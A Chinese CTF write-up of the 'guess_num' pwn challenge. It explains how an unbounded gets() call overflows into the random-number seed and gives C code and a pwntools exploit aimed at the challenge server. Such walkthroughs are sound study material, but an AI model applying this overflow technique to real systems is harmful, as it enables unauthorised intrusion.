pwn刷题num3---覆盖随机数种子

61 篇文章 1 订阅
17 篇文章 0 订阅

攻防世界pwn新手区—guess_num

在这里插入图片描述

首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
在这里插入图片描述

64位,小端序
开启部分RELRO----got表扔可写
开启canary----栈上存在cookie信息导致栈溢出发生异常中断程序
开启了NX保护-----注入的shellcode无法执行
开启PIE----程序内存地址随机化,程序在ida或gdb中的地址都不是真实地址
动态链接

程序是让我们先输入一个名字,然后猜数字,很难猜,直接ida看伪代码
在这里插入图片描述
存在一个危险函数gets,(输入的v7不限制大小)
之后是设置了一个随机数种子(种子位置是seed首地址处)
查看一下栈空间
在这里插入图片描述
v7距离seed0x20字节,(考虑可以通过gets函数输入过多数据覆盖seed为我们想要的值)
用for循环产生10个数字,让我们输入,如果我们输入的数字和系统产生的数字一样,则可以通过这个for循环
在这里插入图片描述
查看一下后面的函数 sub_C3E()

在这里插入图片描述
在这里插入图片描述
system系统调用,直接获得flag!!!

思路:

首先通过gets函数覆盖seed为我们规定的值(本文按1算),用c语言产生随机数种子为1的10个随机数
然后把这些数输入到程序中,直接获得shell

c代码

#include<stdio.h>
#include<stdlib.h>
int main()
{
	int i,x;
	srand(1);
	for(i=0;i<=9;i++)
	{
		x = rand() % 6 + 1;
		printf("%d\n",x);	
	}
	return 0;
}

运行输出为
在这里插入图片描述

exp

'''
控制随机数种子为1(或其他数)来获得flag
'''
from pwn import *
context(os = 'linux',endian = 'little',log_level = 'debug',arch = 'amd64')
sh = remote('111.200.241.244',64811)
payload = flat(['a' * 0x20,1])
sh.recvuntil('Your name:')
sh.sendline(payload)	
sh.interactive()

执行获得flag
在这里插入图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值